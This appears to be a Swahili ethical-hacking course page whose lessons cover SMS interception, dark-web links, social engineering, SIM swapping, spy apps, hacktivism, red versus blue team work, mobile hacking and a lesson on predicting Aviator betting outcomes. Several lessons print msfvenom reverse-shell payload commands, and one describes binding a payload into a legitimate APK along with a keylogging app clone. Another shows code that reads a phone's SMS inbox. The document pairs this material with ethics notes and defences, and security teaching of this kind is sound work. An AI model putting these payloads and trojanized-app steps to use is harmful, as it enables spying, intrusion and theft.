Lesson 1: Ukweli wa SMS Hacking na Calls

Lesson 1: SMS HACKING AND CALLS - Reality vs Myth

"Ukiniandikia tu namba ya mtu, naweza kuona SMS zake, call logs, au hata ku-monitor simu yake moja kwa moja."

KWELI:

Haiwezekani kwa njia yoyote ile ya ki-tech legit kufanya haya bila:

Physical access
Social engineering kali
Collaboration ya ndani (kama mtoa huduma wa simu)

Ukweli wa Kiufundi (Technical Reality)

1. Physical Access au Social Engineering ni Msingi

Malware (Spy Apps): Lazima iwe ime-installiwa kwenye simu ya target manually, au apewe link afungue (phishing).

Apps kama FlexiSpy, mSpy, Spyic zinaweza kuchukua SMS, call logs, location n.k.
Installation lazima ifanyike manually au kwa hila.

Mara nyingi, mtu hujifanya ni rafiki, mpenzi au msaidizi, halafu anaomba simu kidogo — na boom, anai-infect.

PEGUS: Ni ya serikali, gharama kubwa mno (mamilioni). Hacker wa kawaida hawezi afford hata uuze figo zako!

2. SS7 Attacks

Ni protocol ya kimataifa inayotumika kuhamisha SMS na calls kati ya mitandao. Weakness zipo lakini zinafanywa na spy agencies kama NSA, GRU.

3. Fake BTS (Stingray)

Ni tower ya simu feki inayolazimisha simu ya mtu ku-connect nayo. Inahitaji hardware ya bei ghali na proximity ya target. Hutumiwa na governments tu.

Matapeli wanachofanya:

Wanakuambia: "Nipe namba ya mtu, nitakupa SMS zake." Kumbe ni uongo wa dashboard feki au reverse engineering ya data zako mwenyewe.

Hacking ya SMS/Calls	Inawezekana?	Mahitaji
Kuandika namba tu	HAIWEZEKANI	Uongo wa matapeli
Kuona SMS/Calls	Ndiyo	Physical access / Social Engineering
SS7 Hack	Ndiyo	Telco access, millions in tools
Stingray	Ndiyo	Hardware ya gharama, proximity

Leo Bonus Tip ya Kudetect Spy App:

Simu ikiwa inavuta battery kupita kiasi
Simu ikichemka bila sababu au inachelewa kuzima
Settings > Apps > Special Access > Device Admin Apps
Tumia app kama Malwarebytes, AVG, AVAST au Hypatia

Lesson 2: Kwa Nini Simu Ndogo Haziwezi Kuhackiwa

Lesson 4: Dark Web Links za Kifamilia

DARK WEB LINKS ZA KIFAMILIA

(Ethical + Funny + Educational) - Accessible via TOR only (.onion links)

1. The Hidden Wiki

http://zqktlwi4fecvo6ri.onion/wiki/index.php/Main_Page

Hii ni kama Google ya Dark Web. Inaorodhesha tovuti nyingi za dark web (ethical & unethical — chagua vizuri). Useful for exploration (kwa makini).

2. DuckDuckGo (Dark Web Search Engine)

http://3g2upl4pq6kufc4m.onion

Kama Google ya dark web. Haina tracking. Hii ni starter pack ya kuanza safari yako.

3. ProPublica (Investigative Journalism)

http://www.propub3r6espa33w.onion

Tovuti halali ya uandishi wa habari za uchunguzi. Inaonesha uhalifu, rushwa, serikali, na madudu mengine ya dunia. Imesajiliwa kihalali, ethical 100%.

4. Sci-Hub (Free Academic Papers)

http://scihub22266oqcxt.onion

Inatoa makala za kisayansi na vitabu ambavyo kawaida hulipiwa. Useful kwa wanafunzi, researchers na wasomi (ethical + educational).

5. Comic Book Library (Dark Comics Archive)

http://rutorc6mqdinc4cz.onion

Makusanyo ya comics za kila aina (DC, Marvel, Japanese manga). Funny + entertaining — kwa mashabiki wa vichekesho na graphic novels.

6. SecureDrop (Kutoa Taarifa kwa Waandishi)

Tofauti kwa kila taasisi (mf. BBC, NYT)

Unaruhusiwa kutoa taarifa kwa waandishi bila kujulikana. Hutumiwa na whistleblowers (ethical + safe).

7. Imperial Library (Vitabu Bure)

http://xfmro77i3lixucja.onion

Free ebooks za aina zote: tech, hacking, fiction, motivation. Haina malware – lakini verify kila kitu kwa tahadhari.

8. Ahmia.fi (Search engine ya onion links tu)

http://msydqstlz2kzerdg.onion

Inaorodhesha tu .onion links ambazo ni ethical na salama. Ina filters – ni "cleanest" search engine ya dark web.

⚠️ Tahadhari kwa Mtumiaji Mpya:

Tumia Brave + Tor + VPN (Decentralized kama Sentinel/Mysterium)
Usijaribu kufungua links bila kujua zinahusiana na nini
Usiweke jina, barua pepe, au credentials zako
Epuka sehemu zenye kashfa, content isiyo ya maadili au biashara haramu
Tumia Tails OS kwa browsing ya 100% anonymous kama unataka extra layer

Lesson 3: Angalia TV Dunia Nzima Bure!

Lesson 5: Hacking ya Wi-Fi (Reality vs Myth)

Lesson 6: Phishing kwa lugha rahisi

Lesson 7: Deep Web vs Dark Web

Lesson 7: Deep Web vs Dark Web — Access, Tools & Content Analysis

"Kila ethical hacker lazima afahamu dunia ya Deep Web na Dark Web — si kwa kutenda uhalifu, bali kwa kuelewa mazingira na kujilinda ipasavyo."

Tofauti ya Deep Web vs Dark Web

Deep Web: Sehemu ya mtandao isiyoonekana kwenye search engines. Mfano: database za vyuo, login panels, mafile ya serikali, payment panels.
Dark Web: Ni subset ya Deep Web inayofikiwa kupitia tools kama Tor. Hapa kuna anonymity na .onion domains pekee.

Content Zinazopatikana

Katika Deep Web:

Matokeo ya wanafunzi (grade systems)
Document za serikali (unpublished papers, payrolls, medical records)
Access za admin zinazohitaji auth (login panels, control dashboards)

Katika Dark Web:

Black markets (drugs, weapon sales)
Stolen data dumps (credentials, credit card info)
Services za hackers kwa malipo (grade change, DDoS, exploits)
Anonymous communication (whistleblowing, journalism)

Step-by-Step: Kuingia Dark Web (Ethical Use)

Install Tor Browser: https://www.torproject.org
Connect to Tor, then visit .onion sites via directories:

Ahmia (clearnet onion search)
duckduckgo.com on Tor for safe dark web searches

Tumia VPN kabla ya Tor kwa anonymity ya juu (optional)

Mfano wa Ethical Investigation

Unaweza kutumia Tor kuchunguza kama credentials zako au za taasisi yako zimevuja kwenye forums au marketplaces. Tools kama HaveIBeenPwned pia husaidia kwa breach analysis.

Hatari kwa Institutions

Hackers huingia kwenye database za vyuo kupitia:

SQL injection kwenye deep web portals
Credential stuffing na password reuse
Access za default (admin:admin)

Ulinzi & Ethics

Scan web apps zako kwa SQLi, auth bypass, XSS
Weka monitoring ya access kwenye database za matokeo
Fanya search dark web kujua kama system yako ipo kwenye radar ya hackers
Fanya training kwa staff kuhusu data exposure

⚠️ Ethical Hacker Note: Lengo si kutumia dark web kufanya uhalifu, bali kujifunza tabia ya threats na kujua kujilinda. Red Team operations hulenga environment kama hizi kwa simulation.

Lesson 8: OSINT (Open Source Intelligence)

Lesson 9: Ethical hacking vs Black Hat

Lesson 9: Ethical vs Black Hat Hacking — Tofauti kwa Vitendo

"Ethical hacking sio soft version ya hacking — ni discipline, legal permission, na mission ya kulinda, si kuvuruga."

Tofauti ya Kimsingi

Ethical Hacker	Black Hat Hacker
Anapata ruhusa (written consent)	Anaingia kimya, bila ruhusa
Lengo: kubaini na kurekebisha udhaifu	Lengo: kuiba, kuharibu au kuuza taarifa
Hutumia report kuwasilisha findings	Hutumia attack kuacha backdoor au rootkit
Hulipwa kihalali na kampuni au taasisi	Huuza data au exploits kwenye dark web

Tools Zao — Wanaweza Tumia Zile Zile

Nmap: Ethical — scan ports kwa ruhusa / Black Hat — port scan kwa silent discovery
Metasploit: Ethical — exploit na payload kwenye lab / Black Hat — real attack kwa live system
Wireshark: Ethical — kuchunguza traffic kwa test / Black Hat — sniffing credentials live
Social Engineering Toolkit: Ethical — phishing simulation kwa wafanyakazi / Black Hat — phishing halisi kwa wizi wa info

Scenario Halisi (Kama Red Team vs Attacker)

Ethical hacker anaingia kwenye kampuni akiwa na ruhusa, anafanya reconnaissance, OSINT, exploitation — lakini kila hatua anaandika ripoti na kutoa mitigation. Black hat anaingia kimya, anateka admin account, anaweka keylogger na kuacha backdoor kwa access ya baadaye.

Impact na Madhara

Ethical hacker huboresha ulinzi wa mfumo na kuokoa pesa
Black hat husababisha downtime, wizi wa fedha, na lawsuits
Ethical hackers huleta bug bounty economy ya legal reward
Black hats huunda biashara ya uhalifu ya black market

Ethics ya Mtaalamu

Tafuta ruhusa kabla ya kufanya penetration test
Tumia data zako kwa utafiti, si kwa mashambulizi
Toa report na usaidie team kurekebisha
Usihifadhi access ya nyuma au dump ya credentials

Lesson 10: Kali Linux & Tools

Lesson 11: Social engineering

Lesson 11: Social Engineering — Kujenga Mnyororo wa Shambulizi

"Uwezo wa hacker wa kweli haupo tu kwenye code — uko kwenye ushawishi. Social engineering ni silaha ya kihuni kisanii."

Kuelewa Social Engineering

Social engineering ni mchakato wa kumdanganya mtu ili afanye kitendo fulani kwa ridhaa yake mwenyewe, kama vile kutoa password, kufungua link au kuruhusu access ya mfumo. Ethical hacker hutumia hii skill kufanya Red Team simulation ya shambulizi linalolenga tabia za binadamu.

Mnyororo wa Shambulizi (Attack Chain)

OSINT: Tambua taarifa za target — emails, profiles, domain info, contacts
Pretexting: Tengeneza story ya kuaminika (mf. HR wa kampuni, IT support, auditor)
Delivery: Tuma payload kupitia email, USB au voice call
Action: Victim anafungua au kutekeleza hatua (click, enter, kupokea simu)
Access: Hacker hupata access (reverse shell, password, token, n.k.)

Zana Unazoweza Kutumia

SET (Social Engineering Toolkit): Kuunda phishing pages, USB payloads, email spoofing
USB Rubber Ducky: Flash drive inayotuma key commands kwa kasi
MSFVenom: Kutengeneza reverse shells au trojan files
Gophish: Kufanya phishing campaigns za majaribio kwenye kampuni
Canarytokens: Ku-track document zinapofunguliwa

Mfano wa Practical Attack (Ethical Simulation)

Unatengeneza document ya PDF yenye tracking pixel kupitia canarytokens.org. Unaipeleka kwa HR ya kampuni inayolengwa kwa pretext ya job application. Mara tu HR akifungua PDF, unapata alert ya IP na timestamp. Hii ni proof ya awareness training test.

Payload ya Reverse Shell Kutoka USB

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > payload.exe

Payload hii inaweza kuwekwa kwenye autorun USB (rubber ducky) au kutumwa kama attachment.

Jinsi ya Kujikinga

Fanya awareness training mara kwa mara
Disable macros, autorun, na USB exec kwenye policy
Tumia sandbox au virtual machines kufungua files mpya
Imarisha email filtering, SPF/DKIM/DMARC settings

⚠️ Ethics Note: Usifanye social engineering kwa watu au taasisi bila idhini ya maandishi. Hii ni kwa mafunzo tu, na simulations za ndani ya mazingira salama.

Lesson 12: SIM swapping

Lesson 12: SIM Swapping — Mbinu, Hatua, na Ulinzi

"SIM yako ni gateway ya benki, email, crypto na identity yako. Ukidukuliwa, unaweza poteza kila kitu bila kuguswa kimwili."

SIM Swapping ni nini?

Ni mbinu ambayo attacker huhamisha namba ya simu ya target kutoka SIM card halali kwenda kwenye SIM card yao — kwa kutumia social engineering au insider help. Wakiwa na namba yako, wanaweza kupokea 2FA SMS, OTP, au kufanya recovery ya account zako muhimu.

Mnyororo wa Shambulizi

Attacker hukusanya taarifa zako kupitia OSINT (jina, ID, namba ya simu, anwani, jina la mama)
Hupiga simu kwa telco wakijifanya ni wewe (pretexting)
Huulizwa security questions ambazo tayari wana info zake
Mfanyakazi anayeaminika anaweza kusaidia kwa rushwa au kosa
SIM yako ina-deactivate, na line inahamia kwa attacker

Athari za Moja kwa Moja

Recovery ya email → attacker anaingia kwenye inbox yako
OTP kwa bank → withdrawal ya pesa
Access ya WhatsApp → impersonation ya identity yako
Access ya crypto wallet → kuhamisha fedha zote

Tools na Exploits Zinazoweza Kutumika

SS7 Exploits: Protocol ya zamani ya mitandao ya simu inayoruhusu interception ya SMS na calls
IMSI Catchers: Fake base stations (stingrays) zinazopokea IMSI na kusababisha SIM clone
SIM Toolkit (STK) Exploits: Exploits zinazotumwa OTA (Over-The-Air) kwa run-time code execution
Social Engineering Tools: Taarifa kutoka Truecaller, Facebook, breach data (HaveIBeenPwned)

Mfano wa Ethical Lab ya Simulation

Tumia Kali kujaribu fake call simulation, kuandika OSINT script ya kukusanya user details, au kutengeneza phishing SMS kwa endpoint ya test Android device na kuona jinsi alert ya SIM inavyotokea.

Jinsi ya Kujikinga

Weka PIN ya SIM swap kwenye telco yako
Tumia 2FA ya authenticator app — sio SMS
Disable SIM recovery by phone unless in-person
Angalia alert ya "SIM card changed" au "network lost suddenly"
Weka notifications kwa kila login mpya kwenye email, crypto, bank

⚠️ Ethics Note: Hii ni kwa mafunzo ya ulinzi na uelewa. Usitumie info hii kudanganya au kushirikiana na insiders — ni uhalifu mkubwa kisheria.

Lesson 13: VPN vs Proxy vs TOR

Lesson 13: VPN vs Proxy vs TOR — Tofauti, Matumizi na Mbinu za Uhalisia

"Anonymity ni ngao ya hacker — lakini kila ngao ina udhaifu wake. Fahamu VPN, Proxy na Tor kwa utumiaji halisi na mipaka yake."

Tofauti ya Kimsingi

Feature	VPN	Proxy	Tor
Encryption	Full tunnel (end-to-end)	No encryption	Multi-layer encryption
Speed	Fast	Faster	Slowest
Privacy Level	Medium to High	Low	Very High (anonymous routing)
Use Case	Safe browsing, geo-unblock, hacking labs	Simple IP mask, scraping	Dark web, whistleblowing

Tools za Ethical Hacker

VPN: ProtonVPN, NordVPN, OpenVPN (self-config)
Proxy: SOCKS5 (privoxy, squid), browser manual config, Burp Suite
Tor: Tor Browser, torify, proxychains, Whonix OS

Mfano: Chaining Proxy na Tor

Unaweza kufanya multi-layer route:

sudo apt install tor proxychains
nano /etc/proxychains.conf
# badilisha line ya mwisho kuwa: dynamic_chain
proxychains firefox duckduckgo.com

Hii huanzia kwenye proxy → halafu hupitishwa kwenye Tor → hivyo kuongeza anonymity.

Hali ya Mazingira ya Red Team

VPN hubadili IP yako kwa global IP mpya
Proxy inatumika kwa tools kama Burp ku-capture traffic manually
Tor inatumika kwa access ya .onion sites, command-and-control servers

Limitations & Tracking

VPNs hu-log (isipokuwa unao-run wewe mwenyewe)
Tor inaweza kufuatiliwa ikiwa exit node ni compromised
Proxy bila encryption ni hatari — data huonekana
DNS leaks huweza kufichua true IP yako

Ethical Anonymity Tips

Usichanganye real identity na usage ya Tor/VPN (separate profiles)
Tumia VPN kabla ya Tor kwa Tor-over-VPN model
Disable JavaScript kwenye Tor Browser kwa security
Test leaks kwa: dnsleaktest.com

Lesson 14: Spy apps vs Spy detection

Lesson 14: Spy Apps vs Spy Detection — Vifaa vya Upelelezi na Jinsi ya Kujilinda

"Kila hacker mzuri si tu anajua jinsi ya kupeleleza — anajua pia jinsi ya kutambua mtu anayepeleleza."

Spy Apps ni nini?

Ni apps zinazoweza kurekodi kila unachofanya bila wewe kujua: SMS, call logs, location, WhatsApp messages, kamera, na hata kelele za mazingira. Zinatumika na hackers, wapelelezi wa mahusiano, au kwa surveillance ya kampuni au serikali.

Mfano wa Spy Apps Zinazotumika

FlexiSpy — Advanced spy app inayoweza kurekodi simu na SMS zote
mSpy — Inalenga watoto lakini hutumika vibaya na hackers
Cerberus — Remote control app, inaweza kuiba data au kuwapiga picha bila kujua
XNSPY — Complete spyware with call, GPS, keylogging, and app access

Jinsi Zinavyoingia Kwenye Simu

Physical access — mtu anashika simu yako kwa dakika chache
Phishing link — unatumiwa link ya update au picha, unapoifungua, payload inaingia
Fake apps — clone ya app kama WhatsApp lakini modified kwa payload
APK injection — apps zilizosainiwa kwa payload mpya

Jinsi ya Kugundua Spy App

Battery iko drained kila mara bila sababu
Simu inachemka bila kuitumia
Data usage isiyo ya kawaida hata ukiwa idle
Mic au kamera huwaka bila sababu
App za "Device Admin" zenye majina yasiyojulikana

Spy Detection Tools

Malwarebytes Mobile — Hutambua spyware & trojans
iVerify (iOS) — Hutambua iOS compromise & tracking
Hypatia (F-Droid) — Antimalware ya Android open-source
AirGuard (Android) — Hutambua AirTags, BLE trackers
NetGuard / GlassWire — Hufuatilia traffic ya app kwa real-time

Practical Command (ADB Detection)

adb shell pm list packages -d
adb shell dumpsys deviceidle
adb shell settings list secure | grep admin

Hii itakuonyesha apps zilizofichwa au zenye admin rights zisizoeleweka.

Ulinzi

Lock simu yako na biometric/pin
Weka Google Play Protect enabled
Usifungue APK kutoka WhatsApp, Telegram au browser
Root users: tumia Magisk + XprivacyLua kuficha data zako
Usiache simu yako bila uangalizi hata kwa sekunde

Lesson 15: Hacktivism

Lesson 15: Hacktivism — Motivation, Tools & Real Operations

"Hactivist ni hacker aliye na ajenda — si kwa pesa, si kwa umaarufu, bali kwa kusukumwa na falsafa, haki au mapinduzi ya kidigitali."

Hacktivism ni nini?

Ni aina ya hacking inayofanywa kwa kusudi la kisiasa, kijamii au maadili. Lengo sio pesa bali ni kuonesha udhaifu wa mfumo, kukataa sera, au kuunga mkono harakati. Mara nyingi inahusiana na freedom of information, haki za binadamu, au kuzuia censorship.

Motivations za Hacktivists

Kupinga udhalimu wa serikali au taasisi
Kufichua uhalifu wa kifedha au data leaks
Kuunga mkono harakati (mf. Palestine, WikiLeaks, BLM)
Kuzuia propaganda au kufuta censorship
Kuweka press kwa makampuni yaliyoharibu mazingira, haki au faragha

Hacktivist Groups maarufu

Anonymous: Distributed campaigns, DDoS attacks, leaks
LulzSec: Humiliation hacks, breaches kwa mashirika makubwa
RedHack (Turkey): Protests vs government oppression
GhostSec: Cyberwar dhidi ya propaganda ya magaidi

Tools Zinazotumika

LOIC (Low Orbit Ion Cannon): DDoS launcher
HOIC: Enhanced DDoS tool with boosters
AnonSurf: Tor routing + anonymity tools
SQLMap: Data leaks via injection (pale wanapo expose data kwa movement)
Deface Scripts: Upload shells, change index.html

Mfano wa Operation

Kampeni ya OpIsrael ambayo ililenga maelfu ya domains za Israeli government. Hacktivists walitumia SQLMap kwa leaks, DDoS kwa paralisa ya site, na defacement kwa propaganda pages. Ilikuwa ni form ya protest kwa vitendo vya kijeshi dhidi ya raia.

Hatari na Uhalali

Hacktivism ni haramu katika nchi nyingi hata kama lengo ni "nzuri"
Unaweza kuwekewa kifungo au blacklisting kwenye cyberwatch
Hujasamehewa hata kama ulilenga adui wa umma
Governments hu-track Tor exit nodes, mirror IPs na honeypots

Ethical Reflections kwa Ethical Hacker

Fanya penetration test kwa ruhusa pekee
Usitumie tools zako kwa sababu ya kisiasa — utageuka criminal
Kuunga harakati usiwe justification ya kuvunja systems
Elimisha jamii kwa njia salama na halali

Lesson 16: Red Team vs Blue Team

Lesson 16: Red Team vs Blue Team — Roles, Tools & Simulation

"Hacker halisi hujifunza pande zote — jinsi ya kuvamia na jinsi ya kugundua uvamizi. Red Team ni mashambulizi, Blue Team ni ulinzi."

Red Team ni Nani?

Ni ethical hackers wanaojaribu kuvunja mifumo ya kampuni kwa mbinu za kidigitali. Lengo ni kugundua udhaifu kabla ya hacker wa kweli kuuvumbua. Wanaiga mashambulizi ya kweli (TTPs) kwa lengo la kufundisha ulinzi.

Blue Team ni Nani?

Ni wachunguzi wa ulinzi na wataalamu wa response ambao kazi yao ni kugundua, kuzuia na kujibu mashambulizi. Wanatumia tools za kuchambua logs, traffic na alert systems.

Tofauti Kuu

Kigezo	Red Team	Blue Team
Lengo	Kuvunja na kupata access	Kugundua na kuzuia uvamizi
Tools	Cobalt Strike, Metasploit, Empire, BloodHound	Splunk, ELK, Zeek, Wireshark, OSSEC
Hatua	Recon → Exploit → Persist	Detect → Analyze → Contain

Mfano wa Simulation ya Red vs Blue

Red Team: Inatuma payload kwa malipo ya fake invoice (.docm macro)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444 -f exe > invoice.exe

Victim akifungua, reverse shell inarudi kwa attacker (Red Team)

Blue Team: Inatumia SIEM (kama Splunk) kuona outbound connection kutoka internal IP kwenda LHOST isiyotambulika.

index=network action=allowed dest_port=4444 | stats count by src_ip, dest_ip

MITRE ATT&CK Framework

Red Team hutumia MITRE matrix kuiga mashambulizi ya kweli (initial access, execution, persistence). Blue Team hutumia matrix hiyo hiyo kubuni detections na responses.

Red: T1059 (Command and Scripting Interpreter), T1203 (Exploitation)
Blue: Detections ya T1071 (Application Layer Protocol) outbound

Ethics & Training

Red Team hupata ruhusa rasmi kabla ya kuanza operation
Blue Team hutoa lessons learned baada ya exercise
Cyber range au HackTheBox ndio mahali salama pa mazoezi

Lesson 17: Bug Bounty programs

Lesson 18: Mobile hacking basics

Lesson 18: Mobile Hacking Basics — Android & iOS Analysis + Payloads

"Msimu wa hacking haukamiliki bila mobile — kuanzia Android injections hadi iOS analysis. Uwanja wa hacker wa kisasa."

Tofauti ya Android vs iOS kwa Hacking

Feature	Android	iOS
System Access	Open, rootable	Closed, jailbreaking needed
App Files	APK + manifest readable	Encrypted + plist format
Exploitation	More tools & freedom	Strict sandbox, fewer vectors

Android Lab Setup

Use Genymotion / Android Studio Emulator
Install `adb`, `apktool`, `MobSF`, `msfvenom`
Optional: Rooted device + Magisk + Frida + Burp Suite

Step 1: APK Reverse Engineering

apktool d target.apk -o decompiled/

Unapata XML files, activities, permissions, hidden URLs.

Step 2: Payload Injection

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.3 LPORT=4444 R > payload.apk

Unganisha payload kwenye legit APK kwa apktool → then jarsigner kwa signing.

Step 3: Keylogger au App Clone

Modify UI ya app clone, weka log function kwenye onTextChanged au onclick ya login button. Rudisha kwa APKTool na sign.

iOS Basics (Jailbreak Required)

Tumia Checkra1n, unc0ver au Taurine kwa jailbreak
Access ya full file system kwa analysis ya apps
Tools: Objection, Frida, Cycript, iOS-deploy

Tools za Analysis

MobSF: Mobile Security Framework (Android & iOS)
Objection: Runtime mobile instrumentation
Drozer: Android attack surface scanner
Frida: Dynamic function hooking on live apps
Burp Suite: Inspect mobile app traffic + SSL pinning bypass

Ethics & Ulinzi

Test APKs kwenye lab ya emulator au rooted device yako pekee
Usisambaze payload au clone kwenye devices za watu bila consent
Ripoti udhaifu wa apps kisheria (Play Store, Bug Bounty)

Lesson 19: Bypassing firewalls na antivirus

Lesson 20: Creating fake login pages (Awareness)

Lesson 21: Download Spy App

Lesson 22: Call & SMS Interception kwa Android

I. Utangulizi

Call & SMS interception ni mbinu ya kupata mawasiliano ya simu na meseji kutoka kwa kifaa cha target. Kwa ethical hackers, hili hutumika kujifunza jinsi mashambulizi yanavyofanyika na namna ya kujilinda.

II. Misingi ya Mawasiliano ya Simu

GSM, LTE, UMTS – ni teknolojia zinazobeba simu/SMS
SMS hupitia SS7 – mfumo wa signalling kati ya mitandao
Android hutumia TelephonyManager na ContentProviders kudhibiti hizi data

III. Mbinu za Kufanikisha Interception

Malware kwa kusoma SMS/Call logs
Fake BTS (IMSI Catcher)
SS7 Exploits
Spyware apps

IV. Malware kwa Android

Tumia Android app yenye permissions:

<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>

Kisha tumia code kama:

Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"), null, null, null, null);
while (cursor.moveToNext()) {
    String body = cursor.getString(cursor.getColumnIndexOrThrow("body"));
    Log.d("SMS", body);
}

V. IMSI Catcher

Hardware: HackRF, RTL-SDR, BladeRF
Software: OpenBTS, YateBTS, srsLTE
Lab: USRP B200 + Kali Linux

VI. SS7 Exploits

Wireshark, ss7MAPer
DEFCON: YouTube Talks

VII. Spyware Engineering

Tumia jadx au apktool kufanya reverse engineering ya spyware kama mSpy, FlexiSpy

VIII. Lab Setup

Genymotion / AVD
Android rooted device
Wireshark, Frida, Logcat

IX. Changamoto na Ulinzi

Scoped Storage (Android 11+)
App permission hardening
Play Protect

X. Rasilimali Muhimu

Lesson 23: Aviator Prediction kwa Tanzania

I. Utangulizi wa Aviator

Aviator ni crash game inayoruhusu watumiaji kubashiri multiplier inayopaa. Player anatakiwa ku-cashout kabla ndege haijaporomoka. Inatumia PRNG (Pseudorandom Number Generation) kwa round outcomes. Tutatumia tovuti ya demo aviatordemo.co.za kwa mafunzo haya.

II. Kufanya Technical Recon

Fungua browser Developer Tools → Network tab → WebSocket/XHR. Chunguza connections kama:

wss://socket.aviatordemo.co.za/rounds

Angalia fields muhimu kama: round_id, multiplier, timestamp, na hash.

III. Kuintercept na Kusanifu Traffic

→ Tools Muhimu

Burp Suite – Intercept HTTP/WebSocket
Fiddler – SSL debugging (Windows)
mitmproxy – Cross-platform CLI sniffing
DevTools – Basic browser analysis

→ Mfano wa Payload

{
  "type": "round_start",
  "multiplier": 1.84,
  "timestamp": 1717003123,
  "hash": "b4f1d34af..."
}

IV. Kuelewa Algorithm za Aviator

Baadhi ya formula zinazotumika:

multiplier = floor(100 * (1 / (1 - r))) / 100

Ambapo r ni random float kutoka server seed. Ukiweza kuona seed au hash mapema, unaweza kutabiri multiplier.

V. Kuandika Script ya Prediction

Script ya JavaScript ya ku-log rounds:

const ws = new WebSocket('wss://socket.aviatordemo.co.za');
ws.onmessage = function (e) {
  const data = JSON.parse(e.data);
  if (data.type === 'round_start') {
    console.log("Round:", data.round_id, " – ", data.multiplier);
  }
};

Tumia Tampermonkey au console ya browser kufuatilia data hizi.

VI. Mbinu za Ku-Pattern na Ku-Delay Predict

Log `multiplier` na `timestamp`
Tambua rounds zenye multipliers kubwa (high x) kwa intervals
Chunguza delays kati ya round_start na render

VII. Kuunda Lab Yako ya Utafiti

Browser: Brave au Firefox Dev
Proxy: Burp Suite au mitmproxy
Extensions: Tampermonkey, Requestly
Database: SQLite + export ya multipliers

VIII. Mambo ya Kisheria Tanzania

Kigezo	Halali	Haramu
Kujifunza site za demo	✅
Kutumia scripts kwenye betting halisi		❌
Reverse engineering kwa research	✅
Kudanganya system au manipulation		❌

Jifunze Ujuzi wa Tech Mtandaoni

Vipindi Halisi

Lesson 1: Ukweli wa SMS Hacking na Calls

Lesson 1: SMS HACKING AND CALLS - Reality vs Myth

KWELI:

Ukweli wa Kiufundi (Technical Reality)

1. Physical Access au Social Engineering ni Msingi

2. SS7 Attacks

3. Fake BTS (Stingray)

Matapeli wanachofanya:

Leo Bonus Tip ya Kudetect Spy App:

Lesson 2: Kwa Nini Simu Ndogo Haziwezi Kuhackiwa

Lesson 2: KWANINI HUWEZI KUMUHACK MTU MWENYE SIMU NDOGI

MFANO WA SIMU NDOGI:

SABABU ZA USALAMA WA SIMU NDOGI

1. Hakuna Operating System ya Wazi

2. Hazina Internet (Data Access)

3. Hazina Wi-Fi, GPS, au Bluetooth ya Kisasa

4. Security ya Upumbavu... Lakini Ina Kinga

Hitimisho:

Lesson 4: Dark Web Links za Kifamilia

DARK WEB LINKS ZA KIFAMILIA

1. The Hidden Wiki

2. DuckDuckGo (Dark Web Search Engine)

3. ProPublica (Investigative Journalism)

4. Sci-Hub (Free Academic Papers)

5. Comic Book Library (Dark Comics Archive)

6. SecureDrop (Kutoa Taarifa kwa Waandishi)

7. Imperial Library (Vitabu Bure)

8. Ahmia.fi (Search engine ya onion links tu)

⚠️ Tahadhari kwa Mtumiaji Mpya:

Lesson 3: Angalia TV Dunia Nzima Bure!

DUNIA NZIMA BURE - KWA SIMU YAKO

TV.GARDEN/CD - SIRI YA WATAALAMU

Kwa Nini Inafurahisha?

Unaweza Kutazama Nini?

Habari

Muziki

Tamthilia

Documentaries

Wasiliana Nasi

Lesson 5: Hacking ya Wi-Fi (Reality vs Myth)

Lesson 5: Wi-Fi Hacking - Capturing & Cracking WPA2 (Ethical Lab)

Mahitaji ya Lab

Step 1: Enable Monitor Mode

Step 2: Scan Wi-Fi Networks

Step 3: Capture WPA2 Handshake

Step 4: Crack Password (Using Wordlist)

Bonus: Rogue Access Point + Evil Twin

Ethical Use

Lesson 6: Phishing kwa lugha rahisi

Lesson 6: Kutengeneza Phishing Page + Link Delivery (Zphisher & SET)

Step 1: Mazingira ya Kazi

Step 2: Clone Page kwa Zphisher

Step 3: Clone Manual kwa SET (Social Engineering Toolkit)

Step 4: Tuma Link kwa Target

Step 5: Credentials Capture

Ethical Practice

Lesson 7: Deep Web vs Dark Web

Lesson 7: Deep Web vs Dark Web — Access, Tools & Content Analysis

Tofauti ya Deep Web vs Dark Web

Content Zinazopatikana

Step-by-Step: Kuingia Dark Web (Ethical Use)

Mfano wa Ethical Investigation

Hatari kwa Institutions

Ulinzi & Ethics

Lesson 8: OSINT (Open Source Intelligence)

Lesson 8: OSINT Recon — Emails, Domains, People

OSINT ni nini?

Tools Muhimu za OSINT

Step-by-Step: Email & Domain Recon

Step-by-Step: Google Dorks

Step-by-Step: Whois & DNS

Scenario ya Ethical Hacker

Mifano ya Real Exploits kwa Kutokana na OSINT

Ethical Tips & Ulinzi

Lesson 9: Ethical hacking vs Black Hat

Lesson 9: Ethical vs Black Hat Hacking — Tofauti kwa Vitendo

Tofauti ya Kimsingi

Tools Zao — Wanaweza Tumia Zile Zile